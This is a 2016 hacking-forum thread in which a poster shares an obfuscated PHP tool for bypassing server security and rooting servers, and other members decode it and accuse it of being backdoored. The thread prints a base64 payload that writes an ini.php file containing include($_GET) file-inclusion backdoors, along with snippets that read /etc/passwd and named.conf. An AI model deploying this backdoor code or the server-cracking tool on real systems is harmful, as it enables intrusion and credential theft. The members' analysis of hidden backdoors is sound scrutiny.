

Forum:[Hack Forums](#)

Thread: [Ghost Bypasser - Bypassing Any Server Security | Cpanel Cracker | Config Grabber |](#)

Chill Dill - November 23, 2016, 6:22 am

Today im gone share for you guys a php tool me for hacking and bypassing server security , and rooting the server !

Link: pastebin.com/C35GBpRE

icodz - November 23, 2016, 9:07 am

ty :p from algeria <3
its a old exploit i think
how to exploit opencat
rt?

Chill Dill - November 23, 2016, 9:18 am

(Nov 23, 2016 10:07 AM)icodz Wrote: [\[CITE\]](#) ty :p from algeria <3
its a old exploit i think
how to exploit opencat
rt?No m8 its a php script,just upload it to server and use the exploits ;)

sancakli.ok - November 23, 2016, 3:32 pm

dont like encrypted files :D

semendaemon - November 24, 2016, 11:16 am

First of all, fuck you for obfuscating PHP code, it's annoying
and then, what are these following things:

1)
Code } =
"PD8NCmVjaG8gaW5pX2dldCjigJxzYWZlX21vZGxigJ0pOw0KZWNoByBpbmlfZ2V0KOKAnG9wZ
W5fYmFzZWRpcuKAnSk7DQppbmNsdWRIKCRfR0VUWyJmaWxll0pOw0KaW5pX3Jlc3RvcmlUo4
oCcc2FmZV9tb2RI4oCdKTsNCmluaV9yZXN0b3JlKOKAnG9wZW5fYmFzZWRpcuKAnSk7DQplY2h
vIGluaV9nZXQo4oCcc2FmZV9tb2RI4oCdKTsNCmVjaG8gaW5pX2dldCjigJxvcGVuX2Jhc2VkaXLig
J0pOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQo/Pg==";what's the purpose of
include(\$_GET['ss'])? \$_GET['ss'] isn't being used anywhere else on the code, that's it's only
occurrence. Smells like backdoor to me :p

Code echo "<td><img
src='https://www.hackread.com/wp-content/uploads/2013/02/anonghost-hackers-anonymous.jpg'><
br>";Possible backdoor.

Code ".\${\${"GLOBALS"}["xdepmlr"]}.'";mail("nonamehaxor@yahoo . com","Couldn't apply heuristics
to understand why this email shows up, but it can't have a good reason. Care to explain?

GLOBALS['yeqtehojg'] refers to

Code \${\$yeqtehojg} = file(\${\${"GLOBALS"}["bjonsfbr"]});["bjonsfbr"] points to

Code \${\${"GLOBALS"}["bjonsfbr"]} = "http://" . \$_SERVER["HTTP_HOST"] .

dirname(\$_SERVER["PHP_SELF"]) . "/etcnamed/etcpass.txt/etc/named.conf";This could be another

shitty symlink attempt but it could also be mail()'ing that object.

seedhabandha - November 24, 2016, 12:50 pm

lol.
Thanx @semendaemon for revealing that hidden things. I was going to use that script.

Chill Dill - November 24, 2016, 1:06 pm

Dont post when dont understand xD kids ,make some sense in the world or leave it

You call a backdoor the image tag ? Lol

<img

src='https://www.hackread.com/wp-content/uploads/2013/02/anonghost-hackers-anonymous.jpg'>

And also you think symlinking the etc/passwd is a backdoor also ? :/

?f i would backdoor the script you couldnt decrypt it

,the encryption i have used here is just from protecting source from script kiddies like you

semendaemon - November 24, 2016, 1:11 pm

(Nov 24, 2016 02:06 PM)Chill Dill Wrote: [\[CITE\]](#) Dont post when dont understand xD kids ,make some sense in the world or leave it

You call a backdoor the image tag ? Lol

<img

src='https://www.hackread.com/wp-content/uploads/2013/02/anonghost-hackers-anonymous.jpg'>

And also you think symlinking the etc/passwd is a backdoor also ? :/

>And also you think symlinking the etc/passwd is a backdoor also ? :/

Why is your email there?

><img

src='https://www.hackread.com/wp-content/uploads/2013/02/anonghost-hackers-anonymous.jpg'>

If you or your friends own hackread (Or hacked it), you can access logs and view the shells using HTTP referer.

Why are you using include(\$_GET['ss'])?>

Chill Dill - November 24, 2016, 1:16 pm

(Nov 24, 2016 02:11 PM)semendaemon Wrote: [\[CITE\]](#) >And also you think symlinking the etc/passwd is a backdoor also ? :/

Why is your email there?

><img

src='https://www.hackread.com/wp-content/uploads/2013/02/anonghost-hackers-anonymous.jpg'>

If you or your friends own hackread (Or hacked it), you can access logs and view the shells using HTTP referer.

Why are you using include(\$_GET['ss'])?Bro dont be stupid , its just a fucking jpg logo

And

include(\$_GET['ss']) ? that doesnt make sense why would i use it? Probabbly bad decryption ,it is isset(\$_GET[ss]) not include

semendaemon - November 24, 2016, 2:34 pm

(Nov 24, 2016 02:16 PM)Chill Dill Wrote: [\[CITE\]](#) Bro dont be stupid , its just a fucking jpg logo

And

include(\$_GET['ss']) ? that doesnt make sense why would i use it? Probabbly bad decryption ,it is isset(\$_GET[ss]) not includeGive me the undecrypted version and we'll talk.

memory - December 5, 2016, 2:37 pm

(Nov 24, 2016 02:16 PM)Chill Dill Wrote: [\[CITE\]](#) Bro dont be stupid , its just a fucking jpg logo
And

include(\$_GET['ss']) ? that doesnt make sense why would i use it? Probabbly bad decryption ,it is
isset(\$_GET[ss]) not include

I went ahead and skimmed the link I received from OP with the "decrypted" copy of this file. After
researching it a little bit, this is what I found:

Lines 236-240 Original Copy

Code <?php

\$shellololol =

```
'PD8NCmVjaG8gaW5pX2dldCjigJxzYWZlX21vZGxigJ0pOw0KZWNoYBpbmlfZ2V0KOKAnG9wZW
5fYmFzZWVpcuKAnSk7DQppbmNsdWRIKCRfR0VUWyJmaWxll0pOw0KaW5pX3Jlc3RvcmlUo4oC
cc2FmZV9tb2RI4oCdKTsNCmluaV9yZXN0b3JlKOKAnG9wZW5fYmFzZWVpcuKAnSk7DQplY2hvl
GluaV9nZXQo4oCcc2FmZV9tb2RI4oCdKTsNCmVjaG8gaW5pX2dldCjigJxvcGVuX2Jhc2VkaXLigJ0
pOw0KaW5jbHVkZSgkX0dFVFsic3MiXSsk7DQo/Pg==';
```

```
$zerer = fopen("ini.php" ,"w+");
```

```
$write = fwrite ($zerer ,base64_decode($shellololol));
```

```
fclose($zerer);
```

```
?>
```

What \$shellolololol is writing to the ini.php file:

Code <?

```
echo ini_get("safe_mode");
```

```
echo ini_get("open_basedir");
```

```
include($_GET["file"]);
```

```
ini_restore("safe_mode");
```

```
ini_restore("open_basedir");
```

```
echo ini_get("safe_mode");
```

```
echo ini_get("open_basedir");
```

```
include($_GET["ss"]);
```

```
?>
```

So, it seems as if there is not one, but two include statements within the base64 encoded variable:

```
include($_GET["ss"]);
```

```
include($_GET["file"]);
```

As for the whole e-mail situation, you can see in this code:

```
Code <footer id="ftr" style="position:fixed; left:0px; right:0px; bottom:0px; background:transparent);
text-align:center; border-top: 0px solid #ababab; border-bottom: 1px solid #e4e4e4"> © Ghost
Bypasser | Coded by n0name-hax0r | &nbsp; <a href='twitter'>&nbsp;[Twitter]&nbsp;</a>&nbsp;<a
href='pastebin'>&nbsp;[Pastebin]&nbsp;</a>&nbsp;<a
href='uoutube'>&nbsp;[Youtube]&nbsp;</a>&nbsp;<a
href='mailto:nonamehaxor@yahoo.com'>&nbsp;[Email]&nbsp;</a>&nbsp;</footer>that there is no
PHP involved, so there doesn't seem to be any evidence in regards to the script mail()'ing out the
URL/location of the shell, but I only skimmed the script so I could be mistaken.
```

Here is the link I received from OP with the decrypted copy: <http://pastebin.com/nRafLgFm>

Thank you OP for sharing this with us; members that are interested in using this script, use it at
your own risk.

semendaemon - December 6, 2016, 1:21 pm

(Dec 5, 2016 03:37 PM)?????? Wrote: [\[CITE\]](#) I went ahead and skimmed the link I received from OP
with the "decrypted" copy of this file. After researching it a little bit, this is what I found:

Lines 236-240 Original Copy

```

Code <?php
$shelllololol =
'PD8NCmVjaG8gaW5pX2dldCjigJxzYWZlX21vZGxigJ0pOw0KZWNoByBpbmlfZ2V0KOKAnG9wZW
5fYmFzZWRpcuKAnSk7DQppbmNsdWRIKCRfR0VUWyJmaWxlll0pOw0KaW5pX3Jlc3RvcmlUo4oC
cc2FmZV9tb2RI4oCdKTsNCmluaV9yZXN0b3JlKOKAnG9wZW5fYmFzZWRpcuKAnSk7DQplY2hvl
GluaV9nZXQo4oCcc2FmZV9tb2RI4oCdKTsNCmVjaG8gaW5pX2dldCjigJxvcGVuX2Jhc2VkaXLigJ0
pOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQo/Pg==';
$zerer = fopen("ini.php" ,"w+");
$write = fwrite ($zerer ,base64_decode($shelllololol));
fclose($zerer);
?>

```

What \$shelllololol is writing to the ini.php file:

```

Code <?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["file"]);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"]);
?>

```

So, it seems as if there is not one, but two include statements within the base64 encoded variable:

```

include($_GET["ss"]);
include($_GET["file"]);

```

As for the whole e-mail situation, you can see in this code:

```

Code <footer id="ftr" style="position:fixed; left:0px; right:0px; bottom:0px; background:transparent);
text-align:center; border-top: 0px solid #ababab; border-bottom: 1px solid #e4e4e4"> © Ghost
Bypasser | Coded by n0name-hax0r | &nbsp; <a href='twitter'>&nbsp;[Twitter]&nbsp;</a>&nbsp;<a
href='pastebin'>&nbsp;[Pastebin]&nbsp;</a>&nbsp;<a
href='uoutube'>&nbsp;[Youtube]&nbsp;</a>&nbsp;<a
href='mailto:nonamehaxor@yahoo.com'>&nbsp;[Email]&nbsp;</a>&nbsp;</footer>that there is no
PHP involved, so there doesn't seem to be any evidence in regards to the script mail()'ing out the
URL/location of the shell, but I only skimmed the script so I could be mistaken.

```

Here is the link I received from OP with the decrypted copy: <http://pastebin.com/nRafLgFm>

Thank you OP for sharing this with us; members that are interested in using this script, use it at your own risk. I pointed out what's suspicious for me using crude heuristics. I still see no actual usage for ini.php, nor these include() statements. Completely pointless unless you're deliberately leaving these around to later dork out and backdoor. Thanks for double checking me.